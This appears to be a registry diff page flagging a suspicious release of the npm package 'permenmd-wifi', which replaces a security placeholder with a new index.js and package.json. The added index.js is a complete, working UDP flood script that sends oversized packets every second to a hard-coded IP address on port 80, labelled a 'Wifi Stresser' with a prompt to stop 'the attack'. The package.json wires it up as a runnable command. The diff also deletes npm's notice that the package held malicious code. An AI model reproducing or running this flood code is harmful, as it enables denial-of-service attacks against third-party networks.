permenmd-wifi 0.0.1-security → 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of permenmd-wifi might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +39 -0
  2. package/package.json +14 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,39 @@
1
+ const dgram = require('dgram');
2
+
3
+ const target = '108.177.96.113';
4
+ const port = 80;
5
+
6
+ function generatePayload(size) {
7
+ let payload = Buffer.alloc(size);
8
+ payload.fill('A');
9
+ return payload;
10
+ }
11
+
12
+ const payload = generatePayload(65500);
13
+
14
+ setInterval(() => {
15
+ const socket = dgram.createSocket('udp4');
16
+ for (let p = 0; p < 50; p++) {
17
+ socket.send(payload, 0, payload.length, port, target);
18
+ }
19
+ socket.send(payload, 0, payload.length, port, target, (err) => {
20
+ if (err) {
21
+ console.error('Error sending message:', err);
22
+ }
23
+ socket.close();
24
+ });
25
+ }, 1000);
26
+
27
+ console.clear();
28
+ console.log(`
29
+ ██████╗ ███████╗██████╗ ███╗ ███╗███████╗███╗ ██╗███╗ ███╗██████╗
30
+ ██╔══██╗██╔════╝██╔══██╗████╗ ████║██╔════╝████╗ ██║████╗ ████║██╔══██╗
31
+ ██████╔╝█████╗ ██████╔╝██╔████╔██║█████╗ ██╔██╗ ██║██╔████╔██║██║ ██║
32
+ ██╔═══╝ ██╔══╝ ██╔══██╗██║╚██╔╝██║██╔══╝ ██║╚██╗██║██║╚██╔╝██║██║ ██║
33
+ ██║ ███████╗██║ ██║██║ ╚═╝ ██║███████╗██║ ╚████║██║ ╚═╝ ██║██████╔╝
34
+ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═════╝
35
+ PermenMD Wifi Stresser
36
+ =======================================================================
37
+
38
+ Ctrl + C To Stop The Attack
39
+ `);
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "permenmd-wifi",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.2",
4
+ "description": "A Wi-Fi stresser tool",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "starsxwifi": "./index.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node index.js"
11
+ },
12
+ "author": "PermenMD",
13
+ "license": "MIT",
14
+ "dependencies": {
15
+ "permenmd-wifi": "^1.0.1"
16
+ }
6
17
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=permenmd-wifi for more information.